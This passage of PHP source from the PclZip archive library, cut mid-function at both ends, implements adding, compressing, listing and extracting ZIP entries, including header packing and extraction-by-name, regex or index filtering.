  }

  $v_offset = @ftell($this->zip_fd);

  $v_size = $v_central_dir['size'];
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = @fread($v_zip_temp_fd, $v_read_size);
    @fwrite($this->zip_fd, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
  {
    if ($v_header_list[$i]['status'] == 'ok') {
      if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
        fclose($v_zip_temp_fd);
        $this->privCloseFd();
        @unlink($v_zip_temp_name);
        $this->privSwapBackMagicQuotes();

        return $v_result;
      }
      $v_count++;
    }

    $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
  }

  $v_comment = $v_central_dir['comment'];
  if (isset($p_options[PCLZIP_OPT_COMMENT])) {
    $v_comment = $p_options[PCLZIP_OPT_COMMENT];
  }
  if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
    $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
  }
  if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
    $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
  }

  $v_size = @ftell($this->zip_fd)-$v_offset;

  if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
  {
    unset($v_header_list);
    $this->privSwapBackMagicQuotes();

    return $v_result;
  }

  $v_swap = $this->zip_fd;
  $this->zip_fd = $v_zip_temp_fd;
  $v_zip_temp_fd = $v_swap;

  $this->privCloseFd();

  @fclose($v_zip_temp_fd);

  $this->privSwapBackMagicQuotes();

  @unlink($this->zipname);

  PclZipUtilRename($v_zip_temp_name, $this->zipname);

  return $v_result;
}

function privOpenFd($p_mode)
{
  $v_result=1;

  if ($this->zip_fd != 0)
  {
    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');

    return PclZip::errorCode();
  }

  if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
  {
    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');

    return PclZip::errorCode();
  }

  return $v_result;
}

function privCloseFd()
{
  $v_result=1;

  if ($this->zip_fd != 0)
    @fclose($this->zip_fd);
  $this->zip_fd = 0;

  return $v_result;
}

function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
{
  $v_result=1;

  $v_header_list = array();
  if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
  {
    return $v_result;
  }

  $v_offset = @ftell($this->zip_fd);

  for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
  {
    if ($v_header_list[$i]['status'] == 'ok') {
      if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
        return $v_result;
      }
      $v_count++;
    }

    $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
  }

  $v_comment = '';
  if (isset($p_options[PCLZIP_OPT_COMMENT])) {
    $v_comment = $p_options[PCLZIP_OPT_COMMENT];
  }

  $v_size = @ftell($this->zip_fd)-$v_offset;

  if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
  {
    unset($v_header_list);

    return $v_result;
  }

  return $v_result;
}

function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
{
  $v_result=1;
  $v_header = array();

  $v_nb = sizeof($p_result_list);

  for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
    $p_filedescr_list[$j]['filename']
    = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);
    

    if ($p_filedescr_list[$j]['filename'] == "") {
      continue;
    }

    if (   ($p_filedescr_list[$j]['type'] != 'virtual_file')
        && (!file_exists($p_filedescr_list[$j]['filename']))) {
      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
      return PclZip::errorCode();
    }

    if (   ($p_filedescr_list[$j]['type'] == 'file')
        || ($p_filedescr_list[$j]['type'] == 'virtual_file')
        || (   ($p_filedescr_list[$j]['type'] == 'folder')
            && (   !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
                || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))
        ) {

      $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
                                     $p_options);
      if ($v_result != 1) {
        return $v_result;
      }

      $p_result_list[$v_nb++] = $v_header;
    }
  }

  return $v_result;
}

function privAddFile($p_filedescr, &$p_header, &$p_options)
{
  $v_result=1;
  
  $p_filename = $p_filedescr['filename'];

  if ($p_filename == "") {
    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");

    return PclZip::errorCode();
  }


  clearstatcache();
  $p_header['version'] = 20;
  $p_header['version_extracted'] = 10;
  $p_header['flag'] = 0;
  $p_header['compression'] = 0;
  $p_header['crc'] = 0;
  $p_header['compressed_size'] = 0;
  $p_header['filename_len'] = strlen($p_filename);
  $p_header['extra_len'] = 0;
  $p_header['disk'] = 0;
  $p_header['internal'] = 0;
  $p_header['offset'] = 0;
  $p_header['filename'] = $p_filename;
  $p_header['stored_filename'] = $p_filedescr['stored_filename'];
  $p_header['extra'] = '';
  $p_header['status'] = 'ok';
  $p_header['index'] = -1;

  if ($p_filedescr['type']=='file') {
    $p_header['external'] = 0x00000000;
    $p_header['size'] = filesize($p_filename);
  }
  
  else if ($p_filedescr['type']=='folder') {
    $p_header['external'] = 0x00000010;
    $p_header['mtime'] = filemtime($p_filename);
    $p_header['size'] = filesize($p_filename);
  }
  
  else if ($p_filedescr['type'] == 'virtual_file') {
    $p_header['external'] = 0x00000000;
    $p_header['size'] = strlen($p_filedescr['content']);
  }
  

  if (isset($p_filedescr['mtime'])) {
    $p_header['mtime'] = $p_filedescr['mtime'];
  }
  else if ($p_filedescr['type'] == 'virtual_file') {
    $p_header['mtime'] = time();
  }
  else {
    $p_header['mtime'] = filemtime($p_filename);
  }

  if (isset($p_filedescr['comment'])) {
    $p_header['comment_len'] = strlen($p_filedescr['comment']);
    $p_header['comment'] = $p_filedescr['comment'];
  }
  else {
    $p_header['comment_len'] = 0;
    $p_header['comment'] = '';
  }

  if (isset($p_options[PCLZIP_CB_PRE_ADD])) {

    $v_local_header = array();
    $this->privConvertHeader2FileInfo($p_header, $v_local_header);

    $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
    if ($v_result == 0) {
      $p_header['status'] = "skipped";
      $v_result = 1;
    }

    if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
      $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
    }
  }

  if ($p_header['stored_filename'] == "") {
    $p_header['status'] = "filtered";
  }
  
  if (strlen($p_header['stored_filename']) > 0xFF) {
    $p_header['status'] = 'filename_too_long';
  }

  if ($p_header['status'] == 'ok') {

    if ($p_filedescr['type'] == 'file') {
      if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) 
          && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
              || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
                  && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
        $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
        if ($v_result < PCLZIP_ERR_NO_ERROR) {
          return $v_result;
        }
      }
      
      else {

      if (($v_file = @fopen($p_filename, "rb")) == 0) {
        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
        return PclZip::errorCode();
      }

      $v_content = @fread($v_file, $p_header['size']);

      @fclose($v_file);

      $p_header['crc'] = @crc32($v_content);
      
      if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
        $p_header['compressed_size'] = $p_header['size'];
        $p_header['compression'] = 0;
      }
      
      else {
        $v_content = @gzdeflate($v_content);

        $p_header['compressed_size'] = strlen($v_content);
        $p_header['compression'] = 8;
      }
      
      if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
        @fclose($v_file);
        return $v_result;
      }

      @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);

      }

    }

    else if ($p_filedescr['type'] == 'virtual_file') {
        
      $v_content = $p_filedescr['content'];

      $p_header['crc'] = @crc32($v_content);
      
      if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
        $p_header['compressed_size'] = $p_header['size'];
        $p_header['compression'] = 0;
      }
      
      else {
        $v_content = @gzdeflate($v_content);

        $p_header['compressed_size'] = strlen($v_content);
        $p_header['compression'] = 8;
      }
      
      if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
        @fclose($v_file);
        return $v_result;
      }

      @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
    }

    else if ($p_filedescr['type'] == 'folder') {
      if (@substr($p_header['stored_filename'], -1) != '/') {
        $p_header['stored_filename'] .= '/';
      }

      $p_header['size'] = 0;

      if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
      {
        return $v_result;
      }
    }
  }

  if (isset($p_options[PCLZIP_CB_POST_ADD])) {

    $v_local_header = array();
    $this->privConvertHeader2FileInfo($p_header, $v_local_header);

    $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
    if ($v_result == 0) {
      $v_result = 1;
    }

  }

  return $v_result;
}

function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
{
  $v_result=PCLZIP_ERR_NO_ERROR;
  
  $p_filename = $p_filedescr['filename'];


  if (($v_file = @fopen($p_filename, "rb")) == 0) {
    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
    return PclZip::errorCode();
  }

  $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
  if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
    fclose($v_file);
    PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
    return PclZip::errorCode();
  }

  $v_size = filesize($p_filename);
  while ($v_size != 0) {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = @fread($v_file, $v_read_size);
    @gzputs($v_file_compressed, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  @fclose($v_file);
  @gzclose($v_file_compressed);

  if (filesize($v_gzip_temp_name) < 18) {
    PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
    return PclZip::errorCode();
  }

  if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
    return PclZip::errorCode();
  }

  $v_binary_data = @fread($v_file_compressed, 10);
  $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);

  $v_data_header['os'] = bin2hex($v_data_header['os']);

  @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
  $v_binary_data = @fread($v_file_compressed, 8);
  $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);

  $p_header['compression'] = ord($v_data_header['cm']);
  $p_header['crc'] = $v_data_footer['crc'];
  $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;

  @fclose($v_file_compressed);

  if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
    return $v_result;
  }

  if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
  {
    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
    return PclZip::errorCode();
  }

  fseek($v_file_compressed, 10);
  $v_size = $p_header['compressed_size'];
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = @fread($v_file_compressed, $v_read_size);
    @fwrite($this->zip_fd, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  @fclose($v_file_compressed);

  @unlink($v_gzip_temp_name);
  
  return $v_result;
}

function privCalculateStoredFilename(&$p_filedescr, &$p_options)
{
  $v_result=1;
  
  $p_filename = $p_filedescr['filename'];
  if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
    $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
  }
  else {
    $p_add_dir = '';
  }
  if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
    $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
  }
  else {
    $p_remove_dir = '';
  }
  if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
    $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
  }
  else {
    $p_remove_all_dir = 0;
  }


  if (isset($p_filedescr['new_full_name'])) {
    $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
  }
  
  else {

    if (isset($p_filedescr['new_short_name'])) {
      $v_path_info = pathinfo($p_filename);
      $v_dir = '';
      if ($v_path_info['dirname'] != '') {
        $v_dir = $v_path_info['dirname'].'/';
      }
      $v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
    }
    else {
      $v_stored_filename = $p_filename;
    }

    if ($p_remove_all_dir) {
      $v_stored_filename = basename($p_filename);
    }
    else if ($p_remove_dir != "") {
      if (substr($p_remove_dir, -1) != '/')
        $p_remove_dir .= "/";

      if (   (substr($p_filename, 0, 2) == "./")
          || (substr($p_remove_dir, 0, 2) == "./")) {
          
        if (   (substr($p_filename, 0, 2) == "./")
            && (substr($p_remove_dir, 0, 2) != "./")) {
          $p_remove_dir = "./".$p_remove_dir;
        }
        if (   (substr($p_filename, 0, 2) != "./")
            && (substr($p_remove_dir, 0, 2) == "./")) {
          $p_remove_dir = substr($p_remove_dir, 2);
        }
      }

      $v_compare = PclZipUtilPathInclusion($p_remove_dir,
                                           $v_stored_filename);
      if ($v_compare > 0) {
        if ($v_compare == 2) {
          $v_stored_filename = "";
        }
        else {
          $v_stored_filename = substr($v_stored_filename,
                                      strlen($p_remove_dir));
        }
      }
    }
    
    $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);
    
    if ($p_add_dir != "") {
      if (substr($p_add_dir, -1) == "/")
        $v_stored_filename = $p_add_dir.$v_stored_filename;
      else
        $v_stored_filename = $p_add_dir."/".$v_stored_filename;
    }
  }

  $v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
  $p_filedescr['stored_filename'] = $v_stored_filename;
  
  return $v_result;
}

function privWriteFileHeader(&$p_header)
{
  $v_result=1;

  $p_header['offset'] = ftell($this->zip_fd);

  $v_date = getdate($p_header['mtime']);
  $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
  $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];

  $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
                      $p_header['version_extracted'], $p_header['flag'],
                        $p_header['compression'], $v_mtime, $v_mdate,
                        $p_header['crc'], $p_header['compressed_size'],
					  $p_header['size'],
                        strlen($p_header['stored_filename']),
					  $p_header['extra_len']);

  fputs($this->zip_fd, $v_binary_data, 30);

  if (strlen($p_header['stored_filename']) != 0)
  {
    fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
  }
  if ($p_header['extra_len'] != 0)
  {
    fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
  }

  return $v_result;
}

function privWriteCentralFileHeader(&$p_header)
{
  $v_result=1;

  $v_date = getdate($p_header['mtime']);
  $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
  $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];


  $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
                      $p_header['version'], $p_header['version_extracted'],
                        $p_header['flag'], $p_header['compression'],
					  $v_mtime, $v_mdate, $p_header['crc'],
                        $p_header['compressed_size'], $p_header['size'],
                        strlen($p_header['stored_filename']),
					  $p_header['extra_len'], $p_header['comment_len'],
                        $p_header['disk'], $p_header['internal'],
					  $p_header['external'], $p_header['offset']);

  fputs($this->zip_fd, $v_binary_data, 46);

  if (strlen($p_header['stored_filename']) != 0)
  {
    fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
  }
  if ($p_header['extra_len'] != 0)
  {
    fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
  }
  if ($p_header['comment_len'] != 0)
  {
    fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
  }

  return $v_result;
}

function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
{
  $v_result=1;

  $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
                      $p_nb_entries, $p_size,
					  $p_offset, strlen($p_comment));

  fputs($this->zip_fd, $v_binary_data, 22);

  if (strlen($p_comment) != 0)
  {
    fputs($this->zip_fd, $p_comment, strlen($p_comment));
  }

  return $v_result;
}

function privList(&$p_list)
{
  $v_result=1;

  $this->privDisableMagicQuotes();

  if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
  {
    $this->privSwapBackMagicQuotes();
    
    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');

    return PclZip::errorCode();
  }

  $v_central_dir = array();
  if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  {
    $this->privSwapBackMagicQuotes();
    return $v_result;
  }

  @rewind($this->zip_fd);
  if (@fseek($this->zip_fd, $v_central_dir['offset']))
  {
    $this->privSwapBackMagicQuotes();

    PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

    return PclZip::errorCode();
  }

  for ($i=0; $i<$v_central_dir['entries']; $i++)
  {
    if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
    {
      $this->privSwapBackMagicQuotes();
      return $v_result;
    }
    $v_header['index'] = $i;

    $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
    unset($v_header);
  }

  $this->privCloseFd();

  $this->privSwapBackMagicQuotes();

  return $v_result;
}

function privConvertHeader2FileInfo($p_header, &$p_info)
{
  $v_result=1;

  $v_temp_path = PclZipUtilPathReduction($p_header['filename']);
  $p_info['filename'] = $v_temp_path;
  $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
  $p_info['stored_filename'] = $v_temp_path;
  $p_info['size'] = $p_header['size'];
  $p_info['compressed_size'] = $p_header['compressed_size'];
  $p_info['mtime'] = $p_header['mtime'];
  $p_info['comment'] = $p_header['comment'];
  $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
  $p_info['index'] = $p_header['index'];
  $p_info['status'] = $p_header['status'];
  $p_info['crc'] = $p_header['crc'];

  return $v_result;
}

function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
{
  $v_result=1;

  $this->privDisableMagicQuotes();

  if (   ($p_path == "")
    || (   (substr($p_path, 0, 1) != "/")
	    && (substr($p_path, 0, 3) != "../")
		&& (substr($p_path,1,2)!=":/")))
    $p_path = "./".$p_path;

  if (($p_path != "./") && ($p_path != "/"))
  {
    while (substr($p_path, -1) == "/")
    {
      $p_path = substr($p_path, 0, strlen($p_path)-1);
    }
  }

  if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
  {
    $p_remove_path .= '/';
  }
  $p_remove_path_size = strlen($p_remove_path);

  if (($v_result = $this->privOpenFd('rb')) != 1)
  {
    $this->privSwapBackMagicQuotes();
    return $v_result;
  }

  $v_central_dir = array();
  if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  {
    $this->privCloseFd();
    $this->privSwapBackMagicQuotes();

    return $v_result;
  }

  $v_pos_entry = $v_central_dir['offset'];

  $j_start = 0;
  for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
  {

    @rewind($this->zip_fd);
    if (@fseek($this->zip_fd, $v_pos_entry))
    {
      $this->privCloseFd();
      $this->privSwapBackMagicQuotes();

      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

      return PclZip::errorCode();
    }

    $v_header = array();
    if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
    {
      $this->privCloseFd();
      $this->privSwapBackMagicQuotes();

      return $v_result;
    }

    $v_header['index'] = $i;

    $v_pos_entry = ftell($this->zip_fd);

    $v_extract = false;

    if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
        && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {

        for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {

            if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {

                if (   (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
                    && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                    $v_extract = true;
                }
            }
            elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
                $v_extract = true;
            }
        }
    }


    else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
             && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {

        if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
            $v_extract = true;
        }
    }

    else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
             && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
        
        for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {

            if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
                $v_extract = true;
            }
            if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
                $j_start = $j+1;
            }

            if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
                break;
            }
        }
    }

    else {
        $v_extract = true;
    }

  if (   ($v_extract)
      && (   ($v_header['compression'] != 8)
	      && ($v_header['compression'] != 0))) {
        $v_header['status'] = 'unsupported_compression';

        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
	      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

            $this->privSwapBackMagicQuotes();
            
            PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
		                       "Filename '".$v_header['stored_filename']."' is "
			  	    	  	   ."compressed by an unsupported compression "
			  	    	  	   ."method (".$v_header['compression'].") ");

            return PclZip::errorCode();
	  }
  }
  
  if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
        $v_header['status'] = 'unsupported_encryption';

        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
	      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

            $this->privSwapBackMagicQuotes();

            PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
		                       "Unsupported encryption for "
			  	    	  	   ." filename '".$v_header['stored_filename']
							   ."'");

            return PclZip::errorCode();
	  }
  }

    if (($v_extract) && ($v_header['status'] != 'ok')) {
        $v_result = $this->privConvertHeader2FileInfo($v_header,
	                                        $p_file_list[$v_nb_extracted++]);
        if ($v_result != 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result;
        }

        $v_extract = false;
    }
    
    if ($v_extract)
    {

      @rewind($this->zip_fd);
      if (@fseek($this->zip_fd, $v_header['offset']))
      {
        $this->privCloseFd();

        $this->privSwapBackMagicQuotes();

        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

        return PclZip::errorCode();
      }

      if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {

        $v_string = '';

        $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
        if ($v_result1 < 1) {
          $this->privCloseFd();
          $this->privSwapBackMagicQuotes();
          return $v_result1;
        }

        if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
        {
          $this->privCloseFd();
          $this->privSwapBackMagicQuotes();

          return $v_result;
        }

        $p_file_list[$v_nb_extracted]['content'] = $v_string;

        $v_nb_extracted++;
        
        if ($v_result1 == 2) {
        	break;
        }
      }
      elseif (   (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
	        && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
        $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
        if ($v_result1 < 1) {
          $this->privCloseFd();
          $this->privSwapBackMagicQuotes();
          return $v_result1;
        }

        if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
          $this->privCloseFd();
          $this->privSwapBackMagicQuotes();
          return $v_result;
        }

        if ($v_result1 == 2) {
        	break;
        }
      }
      else {
        $v_result1 = $this->privExtractFile($v_header,
	                                      $p_path, $p_remove_path,
										  $p_remove_all_path,
										  $p_options);
        if ($v_result1 < 1) {
          $this->privCloseFd();
          $this->privSwapBackMagicQuotes();
          return $v_result1;
        }

        if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
        {
          $this->privCloseFd();
          $this->privSwapBackMagicQuotes();

          return $v_result;
        }

        if ($v_result1 == 2) {
        	break;
        }
      }
    }
  }

  $this->privCloseFd();
  $this->privSwapBackMagicQuotes();

  return $v_result;
}

function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
{
  $v_result=1;

  if (($v_result = $this->privReadFileHeader($v_header)) != 1)
  {
    return $v_result;
  }


  if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
  }

  if ($p_remove_all_path == true) {
      if (($p_entry['external']&0x00000010)==0x00000010) {

          $p_entry['status'] = "filtered";

          return $v_result;
      }

      $p_entry['filename'] = basename($p_entry['filename']);
  }

  else if ($p_remove_path != "")
  {
    if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
    {

      $p_entry['status'] = "filtered";

      return $v_result;
    }

    $p_remove_path_size = strlen($p_remove_path);
    if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
    {

      $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);

    }
  }

  if ($p_path != '') {
    $p_entry['filename'] = $p_path."/".$p_entry['filename'];
  }
  
  if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
    $v_inclusion
    = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
                              $p_entry['filename']); 
    if ($v_inclusion == 0) {

      PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
		                     "Filename '".$p_entry['filename']."' is "
							 ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");

      return PclZip::errorCode();
    }
  }

  if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

    $v_local_header = array();
    $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

    $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
    if ($v_result == 0) {
      $p_entry['status'] = "skipped";
      $v_result = 1;
    }
    
    if ($v_result == 2) {
      $p_entry['status'] = "aborted";
    	$v_result = PCLZIP_ERR_USER_ABORTED;
    }

    $p_entry['filename'] = $v_local_header['filename'];
  }


  if ($p_entry['status'] == 'ok') {

  if (file_exists($p_entry['filename']))
  {

    if (is_dir($p_entry['filename']))
    {

      $p_entry['status'] = "already_a_directory";
      
      if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
	    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

          PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
		                     "Filename '".$p_entry['filename']."' is "
							 ."already used by an existing directory");

          return PclZip::errorCode();
	    }
    }
    else if (!is_writeable($p_entry['filename']))
    {

      $p_entry['status'] = "write_protected";

      if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
	    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

          PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
		                     "Filename '".$p_entry['filename']."' exists "
							 ."and is write protected");

          return PclZip::errorCode();
	    }
    }

    else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
    {
      if (   (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
	    && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
  	  }
	    else {
          $p_entry['status'] = "newer_exist";

          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
